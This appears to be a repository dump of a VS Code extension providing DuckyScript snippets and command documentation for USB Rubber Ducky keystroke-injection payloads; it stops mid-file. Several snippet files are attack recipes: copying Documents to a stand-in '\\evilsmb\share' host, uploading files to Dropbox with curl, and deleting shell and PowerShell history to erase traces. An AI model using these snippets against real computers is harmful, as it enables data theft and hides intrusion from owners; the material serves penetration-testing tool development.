├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ └── feature_request.md └── workflows │ └── jekyll-gh-pages.yml ├── .gitignore ├── tmp_for_me ├── assets └── code │ ├── duckyscript │ └── example.txt │ ├── OPEN_SHELL.txt │ ├── 3_0_OPEN_POWERSHELL.txt │ ├── error.txt │ ├── 1_0_OPEN_POWERSHELL.txt │ ├── 3_0_ERASE_TRACES_SHELL.txt │ ├── 1_0_ERASE_TRACES_SHELL.txt │ ├── 1_0_ERASE_TRACES_POWERSHELL.txt │ ├── 3_0_PAYLOAD_INTRO.txt │ ├── 3_0_ERASE_TRACES_POWERSHELL.txt │ ├── 1_0_PAYLOAD_INTRO.txt │ ├── 1_0_GENERALIZED_WINDOWS_USER_PATH.txt │ ├── 3_0_NETWORK_EXFILTRATION.txt │ ├── 3_0_PHYSICAL_EXFILTRATION.txt │ ├── 3_0_GENERALIZED_WINDOWS_USER_PATH.txt │ ├── 1_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS.txt │ ├── 3_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS.txt │ ├── 3_0_DETECT_READY.txt │ ├── 3_0_PASSIVE_WINDOWS_DETECT.txt │ └── 3_0_SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt ├── images └── icon.png ├── media ├── webfonts │ ├── fa-brands-400.ttf │ ├── fa-solid-900.ttf │ ├── fa-brands-400.woff2 │ ├── fa-regular-400.ttf │ ├── fa-regular-400.woff2 │ ├── fa-solid-900.woff2 │ ├── fa-v4compatibility.ttf │ └── fa-v4compatibility.woff2 ├── css │ ├── reset.css │ ├── vscode.css │ └── main.css ├── js │ └── main.js └── icon │ └── icon.svg ├── .vscodeignore ├── src ├── commands │ ├── structure.ts │ ├── constants.ts │ ├── variables.ts │ ├── loops.ts │ ├── led.ts │ ├── payload_control.ts │ ├── functions.ts │ ├── payload_hiding.ts │ ├── conditional_statements.ts │ ├── button.ts │ ├── randomization.ts │ ├── attackmode.ts │ ├── combo.ts │ ├── operators.ts │ ├── basic_modifier.ts │ ├── cursor.ts │ ├── lock.ts │ ├── system.ts │ ├── general.ts │ └── internal_variables.ts ├── cpanel │ ├── run.ts │ └── code_panel_view_provider.ts ├── utils │ └── consts.ts └── extension.ts ├── jsconfig.json ├── .vscode ├── extensions.json ├── tasks.json ├── settings.json └── launch.json ├── tsconfig.json ├── _config.yml ├── language-configuration.json ├── package.json ├── syntaxes └── duckyscript.tmLanguage.json ├── snippets └── snippets.json ├── README.md └── LICENSE /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [aleff-github] 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | dist 2 | node_modules 3 | *.vsix 4 | -------------------------------------------------------------------------------- /tmp_for_me: -------------------------------------------------------------------------------- 1 | npm run compile 2 | vsce package 3 | -------------------------------------------------------------------------------- /assets/code/duckyscript/example.txt: -------------------------------------------------------------------------------- 1 | This is just a test -------------------------------------------------------------------------------- /assets/code/OPEN_SHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | CTRL-ALT t 3 | DELAY 1000 4 | -------------------------------------------------------------------------------- /images/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/images/icon.png -------------------------------------------------------------------------------- /assets/code/3_0_OPEN_POWERSHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | GUI r 3 | DELAY 1000 4 | STRINGLN PowerShell 5 | DELAY 1000 6 | 7 | -------------------------------------------------------------------------------- /assets/code/error.txt: -------------------------------------------------------------------------------- 1 | An error has been detected, please report it: https://github.com/aleff-github/DuckyScriptCookbook/issues -------------------------------------------------------------------------------- /assets/code/1_0_OPEN_POWERSHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | DELAY 2000 3 | GUI r 4 | DELAY 1000 5 | STRING PowerShell 6 | ENTER 7 | DELAY 1000 8 | 9 | -------------------------------------------------------------------------------- /media/webfonts/fa-brands-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-brands-400.ttf -------------------------------------------------------------------------------- /media/webfonts/fa-solid-900.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-solid-900.ttf -------------------------------------------------------------------------------- /media/webfonts/fa-brands-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-brands-400.woff2 -------------------------------------------------------------------------------- /media/webfonts/fa-regular-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-regular-400.ttf -------------------------------------------------------------------------------- /media/webfonts/fa-regular-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-regular-400.woff2 -------------------------------------------------------------------------------- /media/webfonts/fa-solid-900.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-solid-900.woff2 -------------------------------------------------------------------------------- /assets/code/3_0_ERASE_TRACES_SHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | REM It is assumed that a shell has already been opened... 3 | STRINGLN rm $HISTFILE; exit 4 | 5 | -------------------------------------------------------------------------------- /media/webfonts/fa-v4compatibility.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-v4compatibility.ttf -------------------------------------------------------------------------------- /media/webfonts/fa-v4compatibility.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aleff-github/DuckyScriptCookbook/HEAD/media/webfonts/fa-v4compatibility.woff2 -------------------------------------------------------------------------------- /assets/code/1_0_ERASE_TRACES_SHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | REM It is assumed that a shell has already been opened... 3 | STRING rm $HISTFILE; exit 4 | ENTER 5 | 6 | -------------------------------------------------------------------------------- /.vscodeignore: -------------------------------------------------------------------------------- 1 | .vscode/** 2 | .vscode-test/** 3 | test/** 4 | .gitignore 5 | .yarnrc 6 | vsc-extension-quickstart.md 7 | **/jsconfig.json 8 | **/*.map 9 | **/.eslintrc.json 10 | -------------------------------------------------------------------------------- /src/commands/structure.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | 3 | export type CommandInfo = { 4 | label: string; 5 | detail: string; 6 | doc: vscode.MarkdownString; 7 | text: string; 8 | }; -------------------------------------------------------------------------------- /jsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "target": "ES2020", 5 | "checkJs": false, 6 | "lib": [ 7 | "ES2020", 8 | "DOM" 9 | ] 10 | }, 11 | "exclude": [ 12 | "node_modules" 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | // See http://go.microsoft.com/fwlink/?LinkId=827846 3 | // for the documentation about the extensions.json format 4 | "recommendations": [ 5 | "dbaeumer.vscode-eslint", 6 | "ms-vscode.extension-test-runner" 7 | ] 8 | } 9 | -------------------------------------------------------------------------------- /assets/code/1_0_ERASE_TRACES_POWERSHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | REM Credits: ShellHacks 3 | REM Website: https://www.shellhacks.com 4 | REM Source: https://www.shellhacks.com/clear-history-powershell/ 5 | 6 | REM Clear the command history in PowerShell by deleting the history file 7 | STRING Remove-Item (Get-PSReadlineOption).HistorySavePath 8 | ENTER 9 | 10 | -------------------------------------------------------------------------------- /assets/code/3_0_PAYLOAD_INTRO.txt: -------------------------------------------------------------------------------- 1 | REM_BLOCK 2 | ############################# 3 | # # 4 | # Title : example # 5 | # Author : example # 6 | # Version : 1.0 # 7 | # Category : example # 8 | # Target : OS example # 9 | # # 10 | ############################# 11 | END_REM 12 | 13 | -------------------------------------------------------------------------------- /assets/code/3_0_ERASE_TRACES_POWERSHELL.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: ShellHacks 4 | Website: https://www.shellhacks.com 5 | Source: https://www.shellhacks.com/clear-history-powershell/ 6 | END_REM 7 | 8 | REM Clear the command history in PowerShell by deleting the history file 9 | STRINGLN Remove-Item (Get-PSReadlineOption).HistorySavePath 10 | 11 | -------------------------------------------------------------------------------- /assets/code/1_0_PAYLOAD_INTRO.txt: -------------------------------------------------------------------------------- 1 | REM ############################# 2 | REM # # 3 | REM # Title : example # 4 | REM # Author : example # 5 | REM # Version : 1.0 # 6 | REM # Category : example # 7 | REM # Target : OS example # 8 | REM # # 9 | REM ############################# 10 | 11 | -------------------------------------------------------------------------------- /media/css/reset.css: -------------------------------------------------------------------------------- 1 | html { 2 | box-sizing: border-box; 3 | font-size: 13px; 4 | } 5 | 6 | *, 7 | *:before, 8 | *:after { 9 | box-sizing: inherit; 10 | } 11 | 12 | body, 13 | h1, 14 | h2, 15 | h3, 16 | h4, 17 | h5, 18 | h6, 19 | p, 20 | ol, 21 | ul { 22 | margin: 0; 23 | padding: 0; 24 | font-weight: normal; 25 | } 26 | 27 | img { 28 | max-width: 100%; 29 | height: auto; 30 | } -------------------------------------------------------------------------------- /assets/code/1_0_GENERALIZED_WINDOWS_USER_PATH.txt: -------------------------------------------------------------------------------- 1 | REM To generalize the username so that the script works for any user, you can use the variable $env:USERPROFILE, which points to the current user's profile directory. 2 | 3 | REM In this example you will go inside the “Documents” folder of the currently logged in user. 4 | 5 | REM To change it change the end part of the command. 6 | 7 | STRING $path = Join-Path -Path $env:USERPROFILE -ChildPath "Documents" 8 | ENTER -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | // See https://go.microsoft.com/fwlink/?LinkId=733558 2 | // for the documentation about the tasks.json format 3 | { 4 | "version": "2.0.0", 5 | "tasks": [ 6 | { 7 | "type": "npm", 8 | "script": "watch", 9 | "problemMatcher": "$tsc-watch", 10 | "isBackground": true, 11 | "presentation": { 12 | "reveal": "never" 13 | }, 14 | "group": { 15 | "kind": "build", 16 | "isDefault": true 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | // Place your settings in this file to overwrite default and user settings. 2 | { 3 | "files.exclude": { 4 | "out": false // set this to true to hide the "out" folder with the compiled JS files 5 | }, 6 | "search.exclude": { 7 | "out": true // set this to false to include "out" folder in search results 8 | }, 9 | // Turn off tsc task auto detection since we have the necessary tasks as npm scripts 10 | "typescript.tsc.autoDetect": "off" 11 | } 12 | -------------------------------------------------------------------------------- /assets/code/3_0_NETWORK_EXFILTRATION.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: Hak5 4 | Website: https://docs.hak5.org/ 5 | Source: https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference#exfiltration 6 | 7 | This piece of code is for demonstration purposes only; it needs to be adjusted. 8 | END_REM 9 | 10 | 11 | ATTACKMODE HID 12 | DELAY 2000 13 | GUI r 14 | DELAY 100 15 | STRINGLN powershell "cp -r $env:USERPROFILE\Documents\* \\evilsmb\share" 16 | -------------------------------------------------------------------------------- /src/cpanel/run.ts: -------------------------------------------------------------------------------- 1 | import * as fs from 'fs'; 2 | import * as vscode from 'vscode'; 3 | 4 | export interface CodeInterface { 5 | _extensionUri: vscode.Uri; 6 | duckyscript(code_type: string): string; 7 | } 8 | 9 | export class Code implements CodeInterface { 10 | constructor(readonly _extensionUri: vscode.Uri) { } 11 | 12 | duckyscript(code_type: string) { 13 | let code = ''; 14 | if (fs.existsSync(code_type)) { 15 | code = fs.readFileSync(code_type,'utf-8'); 16 | } 17 | return code; 18 | } 19 | } -------------------------------------------------------------------------------- /assets/code/3_0_PHYSICAL_EXFILTRATION.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: Hak5 4 | Website: https://docs.hak5.org/ 5 | Source: https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference#exfiltration 6 | 7 | This piece of code is for demonstration purposes only; it needs to be adjusted. 8 | END_REM 9 | 10 | 11 | ATTACKMODE HID STORAGE 12 | DELAY 2000 13 | GUI r 14 | DELAY 100 15 | STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter; 16 | STRINGLN echo $env:computername >> $m:\computer_names.txt" 17 | 18 | -------------------------------------------------------------------------------- /assets/code/3_0_GENERALIZED_WINDOWS_USER_PATH.txt: -------------------------------------------------------------------------------- 1 | REM_BLOCK 2 | To generalize the username so that the script works for any user, you can use the variable $env:USERPROFILE, which points to the current user's profile directory. 3 | In this example you will go inside the “Documents” folder of the currently logged in user. 4 | END_REM 5 | 6 | REM Change this variable to access the subfolder or subpath you want to reach, for example Documents/private/etc... 7 | DEFINE #SUBDIRECTORY example 8 | 9 | STRINGLN $path = Join-Path -Path $env:USERPROFILE -ChildPath "#SUBDIRECTORY" -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: I want to contribute by reporting an improvement 5 | labels: contribute 6 | assignees: aleff-github 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | - Ex. I'm always frustrated when [...] 12 | 13 | **Do you find it useful to add a new recipe to the cookbook?** 14 | - Ex. I use this piece of code all the time [...] 15 | 16 | **Do you want to add a new snippet?** 17 | - Ex. Need a snippet for this piece of code [...] every time I copy it I have to change N variables and I often get confused 18 | -------------------------------------------------------------------------------- /src/commands/constants.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const CONSTANTS_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "DEFINE", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # DEFINE 11 | 12 | The \`DEFINE\` command is used to define a constant. One may consider the use of a \`DEFINE\` within a payload like a find-and-replace at time of compile. 13 | 14 | \`\`\` 15 | DEFINE #WAIT 2000 16 | DEFINE #TEXT Hello World 17 | DEFINE #MYURL example.com 18 | DELAY #WAIT 19 | STRINGLN #TEXT 20 | STRING https://#MYURL 21 | \`\`\` 22 | 23 | `), 24 | text: "DEFINE" 25 | } 26 | ]; 27 | -------------------------------------------------------------------------------- /src/commands/variables.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const VARIABLES_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "VAR", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # VAR 11 | 12 | The \`VAR\` command will initiate a variable. Unlike constants, variables begin with a dollar sign ("\`$\`"). Variables contain unsigned integers with values from 0 to 65535. Booleans may be represented as well, either by \`TRUE\`/\`FALSE\` or any non-zero number and \`0\` respectively. 13 | 14 | \`\`\` 15 | VAR $BLINK = TRUE 16 | VAR $BLINK_TIME = 1000 17 | \`\`\` 18 | 19 | `), 20 | text: "VAR" 21 | } 22 | ]; 23 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "target": "ES2020", 5 | "outDir": "out", 6 | "lib": [ 7 | "ES2020", "ES2021.String" 8 | ], 9 | "sourceMap": true, 10 | "rootDirs": ["src"], 11 | "strict": true, /* enable all strict type-checking options */ 12 | "experimentalDecorators": true, 13 | /* Additional Checks */ 14 | // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ 15 | // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ 16 | // "noUnusedParameters": true, /* Report errors on unused parameters. */ 17 | // "types": ["mocha", "node"] 18 | } 19 | } -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | remote_theme: pages-themes/minimal@v0.2.0 2 | plugins: 3 | - jekyll-remote-theme 4 | title: "DuckyScript Cookbook" 5 | description: "A VSCode extension that speeds up DuckyScript development with ready-to-use snippets and fun ducky icons for a more efficient and enjoyable scripting experience." 6 | show_downloads: true 7 | logo: "./images/icon.png" 8 | repository: "aleff-github/DuckyScriptCookbook" 9 | author: 10 | name : "Aleff" 11 | avatar : "aleff.jpg" # placed in /images/ 12 | bio : "I'm Alessandro Greco, aka Aleff, a Computer Science graduate with a passion for networks and IT security." 13 | email : "alessandro.greco.1@protonmail.com" 14 | uri : "https://aleff-gitlab.gitlab.io/" 15 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | // A launch configuration that compiles the extension and then opens it inside a new window 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | { 6 | "version": "0.2.0", 7 | "configurations": [ 8 | { 9 | "name": "Run Extension", 10 | "type": "extensionHost", 11 | "request": "launch", 12 | "runtimeExecutable": "${execPath}", 13 | "args": [ 14 | "--extensionDevelopmentPath=${workspaceFolder}" 15 | ], 16 | "outFiles": [ 17 | "${workspaceFolder}/out/**/*.js" 18 | ], 19 | "preLaunchTask": "npm: watch" 20 | } 21 | ] 22 | } 23 | -------------------------------------------------------------------------------- /src/commands/loops.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const LOOPS_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "WHILE", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # WHILE 11 | 12 | The block of code within the \`WHILE\` statement will continue to repeatedly execute for a number of times (called iterations) for as long as the condition of the \`WHILE\` statement is \`TRUE\`. 13 | 14 | \`\`\` 15 | VAR $FOO = 42 16 | WHILE ( $FOO > 0 ) 17 | STRINGLN This message will repeat 42 times. 18 | $FOO = ( $FOO - 1 ) 19 | END_WHILE 20 | 21 | WHILE TRUE 22 | STRINGLN This is an infinite loop. This message repeats forever. 23 | END_WHILE 24 | \`\`\` 25 | 26 | `), 27 | text: "WHILE ( )\n\tREM Hello World!\nEND_WHILE" 28 | } 29 | ]; 30 | -------------------------------------------------------------------------------- /language-configuration.json: -------------------------------------------------------------------------------- 1 | { 2 | "comments": { 3 | "lineComment": "REM" 4 | }, 5 | "brackets": [ 6 | ["{", "}"], 7 | ["[", "]"], 8 | ["(", ")"] 9 | ], 10 | "autoClosingPairs": [ 11 | { "open": "{", "close": "}" }, 12 | { "open": "[", "close": "]" }, 13 | { "open": "(", "close": ")" }, 14 | { "open": "\"", "close": "\"" }, 15 | { "open": "'", "close": "'" } 16 | ], 17 | "surroundingPairs": [ 18 | { "open": "{", "close": "}" }, 19 | { "open": "[", "close": "]" }, 20 | { "open": "(", "close": ")" }, 21 | { "open": "\"", "close": "\"" }, 22 | { "open": "'", "close": "'" } 23 | ], 24 | "folding": { 25 | "markers": { 26 | "start": "^REM_BLOCK", 27 | "end": "^END_REM" 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /assets/code/1_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS.txt: -------------------------------------------------------------------------------- 1 | 2 | REM Send to Dropbox function 3 | STRING curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer 4 | 5 | REM REPLACE #ACCESS_TOKEN with your personal Dropbox Access Token 6 | STRING #ACCESS_TOKEN 7 | 8 | STRING " --header "Dropbox-API-Arg: {\"path\": \" 9 | 10 | REM REPLACE #DROPBOX_FOLDER with the Dropbox destination directory name, for istance /$ZIP_NAME 11 | STRING #DROPBOX_FOLDER 12 | 13 | STRING \",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@ 14 | 15 | REM REPLACE #FILE_TO_EXFILTRATE with the full path of the file that you want to exfiltrate, for istance it can be an archive and in this case should be something like this: 16 | REM GNU/Linux: 17 | REM |-> /home/aleff/Documents/archive.zip 18 | REM Windows: 19 | REM |-> C:/Users/aleff/Documents/archive.zip 20 | STRING #FILE_TO_EXFILTRATE 21 | 22 | STRING " 23 | ENTER 24 | 25 | -------------------------------------------------------------------------------- /assets/code/3_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS.txt: -------------------------------------------------------------------------------- 1 | 2 | REM Replace 'example' with your personal Dropbox Access Token 3 | DEFINE #ACCESS_TOKEN example 4 | 5 | REM Replace 'example' with the Dropbox destination directory name, for istance /$ZIP_NAME 6 | DEFINE #DROPBOX_FOLDER example 7 | 8 | REM_BLOCK 9 | Replace 'example' with the full path of the file that you want to exfiltrate, for istance it can be an archive and in this case should be something like this: 10 | 11 | GNU/Linux: 12 | |-> /home/aleff/Documents/archive.zip 13 | 14 | Windows: 15 | |-> C:/Users/aleff/Documents/archive.zip 16 | END_REM 17 | DEFINE #FILE_TO_EXFILTRATE example 18 | 19 | REM Send to Dropbox function 20 | DELAY 500 21 | STRINGLN curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer #ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"#DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@#FILE_TO_EXFILTRATE" -------------------------------------------------------------------------------- /assets/code/3_0_DETECT_READY.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: Hak5 LLC 4 | Website: https://hak5.org/ 5 | Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/detect_ready.txt 6 | END_REM 7 | 8 | EXTENSION DETECT_READY 9 | REM VERSION 1.1 10 | REM AUTHOR: Korben 11 | 12 | REM_BLOCK DOCUMENTATION 13 | USAGE: 14 | Extension runs inline (here) 15 | Place at beginning of payload (besides ATTACKMODE) to act as dynamic 16 | boot delay 17 | 18 | TARGETS: 19 | Any system that reflects CAPSLOCK will detect minimum required delay 20 | Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms 21 | END_REM 22 | 23 | REM CONFIGURATION: 24 | DEFINE #RESPONSE_DELAY 25 25 | DEFINE #ITERATION_LIMIT 120 26 | 27 | VAR $C = 0 28 | WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) 29 | CAPSLOCK 30 | DELAY #RESPONSE_DELAY 31 | $C = ($C + 1) 32 | END_WHILE 33 | CAPSLOCK 34 | END_EXTENSION 35 | 36 | -------------------------------------------------------------------------------- /src/commands/led.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const LED_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "LED-COMMANDS", 8 | detail: "List of all led commands", 9 | doc: new vscode.MarkdownString(` 10 | # The LED 11 | 12 | The USB Rubber Ducky includes an LED which may be helpful when deploying certain payloads where feedback is important. 13 | 14 | \`LED_OFF\` 15 | 16 | \`LED_R\` 17 | 18 | \`LED_G\` 19 | 20 | `), 21 | text: "" 22 | },{ 23 | label: "LED.LED_OFF", 24 | detail: "", 25 | doc: new vscode.MarkdownString(` 26 | # LED_OFF 27 | 28 | The \`LED_OFF\` command will disable all LED modes. 29 | 30 | `), 31 | text: "LED_OFF" 32 | },{ 33 | label: "LED.LED_R", 34 | detail: "", 35 | doc: new vscode.MarkdownString(` 36 | # LED_R 37 | 38 | The \`LED_R\` command will enable the red LED. 39 | 40 | `), 41 | text: "LED_R" 42 | },{ 43 | label: "LED.LED_G", 44 | detail: "", 45 | doc: new vscode.MarkdownString(` 46 | # LED_G 47 | 48 | The \`LED_G\` command will enable the green LED. 49 | 50 | `), 51 | text: "LED_G" 52 | } 53 | 54 | ]; 55 | -------------------------------------------------------------------------------- /src/commands/payload_control.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const PAYLOAD_CONTROL_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "PAYLOAD-CONTROL-COMMANDS", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # PAYLOAD CONTROL COMMANDS 11 | 12 | These simple commands exist to control the execution of a payload. 13 | 14 | \`RESTART_PAYLOAD\` 15 | 16 | \`STOP_PAYLOAD\` 17 | 18 | \`RESET\` 19 | 20 | `), 21 | text: "" 22 | },{ 23 | label: "PAYLOAD-CONTROL.RESTART_PAYLOAD", 24 | detail: "", 25 | doc: new vscode.MarkdownString(` 26 | # RESTART PAYLOAD 27 | 28 | The \`RESTART_PAYLOAD\` command ceases execution, restarting the payload from the beginning. 29 | 30 | `), 31 | text: "RESTART_PAYLOAD" 32 | },{ 33 | label: "PAYLOAD-CONTROL.STOP_PAYLOAD", 34 | detail: "", 35 | doc: new vscode.MarkdownString(` 36 | # STOP PAYLOAD 37 | 38 | The \`STOP_PAYLOAD\` command ceases and further execution. 39 | 40 | `), 41 | text: "STOP_PAYLOAD" 42 | },{ 43 | label: "PAYLOAD-CONTROL.RESET", 44 | detail: "", 45 | doc: new vscode.MarkdownString(` 46 | # RESET 47 | 48 | The \`RESET\` command clears the keystroke buffer, useful for debugging complex hold key states. 49 | 50 | `), 51 | text: "RESET" 52 | } 53 | ]; 54 | -------------------------------------------------------------------------------- /src/commands/functions.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const FUNCTIONS_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "FUNCTION", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # FUNCTION 11 | 12 | Functions are blocks of organized single-task code that let you more efficiently run the same code multiple times without the need to copy and paste large blocks of code over and over again. 13 | 14 | \`\`\` 15 | REM Types "Hello.....World!" 16 | 17 | FUNCTION COUNTDOWN() 18 | WHILE ($TIMER > 0) 19 | STRING . 20 | $TIMER = ($TIMER - 1) 21 | DELAY 500 22 | END_WHILE 23 | END_FUNCTION 24 | 25 | STRING Hello 26 | VAR $TIMER = 5 27 | COUNTDOWN() 28 | STRING World! 29 | \`\`\` 30 | 31 | `), 32 | text: "FUNCTION ...()\n\tREM Hello World!\nEND_FUNCTION" 33 | },{ 34 | label: "RETURN", 35 | detail: "", 36 | doc: new vscode.MarkdownString(` 37 | # FUNCTION 38 | 39 | A function may return a integer or boolean value which may also be evaluated. 40 | 41 | \`\`\` 42 | FUNCTION TEST_CAPS_AND_NUM() 43 | IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == TRUE)) THEN 44 | RETURN TRUE 45 | ELSE 46 | RETURN FALSE 47 | END_IF 48 | END_FUNCTION 49 | 50 | IF (TEST_CAPS_AND_NUM() == TRUE) THEN 51 | STRINGLN Caps lock and num lock are on. 52 | END_IF 53 | \`\`\` 54 | 55 | `), 56 | text: "RETURN ..." 57 | } 58 | ]; 59 | -------------------------------------------------------------------------------- /src/commands/payload_hiding.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const PAYLOAD_HIDING: CommandInfo[] = [ 6 | { 7 | label: "PAYLOAD-HIDING-COMMANDS", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # PAYLOAD HIDING 11 | 12 | The \`inject.bin\` and \`seed.bin\` file may be hidden from the MicroSD card before implementing \`ATTACKMODE STORAGE\`. The \`HIDE_PAYLOAD\` and \`RESTORE_PAYLOAD\` commands must be run while using \`ATTACKMODE OFF\` or \`ATTACKMODE HID\`. 13 | 14 | \`HIDE_PAYLOAD\` 15 | 16 | \`RESTORE_PAYLOAD\` 17 | 18 | `), 19 | text: "" 20 | },{ 21 | label: "PAYLOAD-HIDING.HIDE_PAYLOAD", 22 | detail: "", 23 | doc: new vscode.MarkdownString(` 24 | # HIDE PAYLOAD 25 | 26 | Hides the inject.bin and seed.bin files from the MicroSD card. 27 | 28 | `), 29 | text: "HIDE_PAYLOAD" 30 | },{ 31 | label: "PAYLOAD-HIDING.RESTORE_PAYLOAD", 32 | detail: "", 33 | doc: new vscode.MarkdownString(` 34 | # RESTORE PAYLOAD 35 | 36 | Restores the inject.bin and seed.bin files to the MicroSD card. 37 | 38 | \`\`\` 39 | ATTACKMODE OFF 40 | HIDE_PAYLOAD 41 | ATTACKMODE HID STORAGE 42 | DELAY 2000 43 | STRINGLN The payload files are hidden. 44 | ATTACKMODE HID 45 | RESTORE_PAYLOAD 46 | DELAY 2000 47 | STRINGLN Restoring the payload files... 48 | ATTACKMODE HID STORAGE 49 | DELAY 2000 50 | STRINGLN The payload files have been restored. 51 | \`\`\` 52 | 53 | `), 54 | text: "RESTORE_PAYLOAD" 55 | } 56 | ]; -------------------------------------------------------------------------------- /src/commands/conditional_statements.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const CONDITIONAL_STATEMENTS_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "CONDITIONAL-STATEMENTS", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # CONDITIONAL STATEMENTS 11 | 12 | Conditional statements, loops and functions allow for dynamic execution. 13 | 14 | \`IF\` 15 | 16 | \`ELSE\` 17 | 18 | `), 19 | text: "" 20 | },{ 21 | label: "CONDITIONAL-STATEMENTS.IF", 22 | detail: "", 23 | doc: new vscode.MarkdownString(` 24 | # IF 25 | 26 | The flow control statement \`IF\` will determine whether or not to execute its block of code based on the evaluation of an expression. One way to 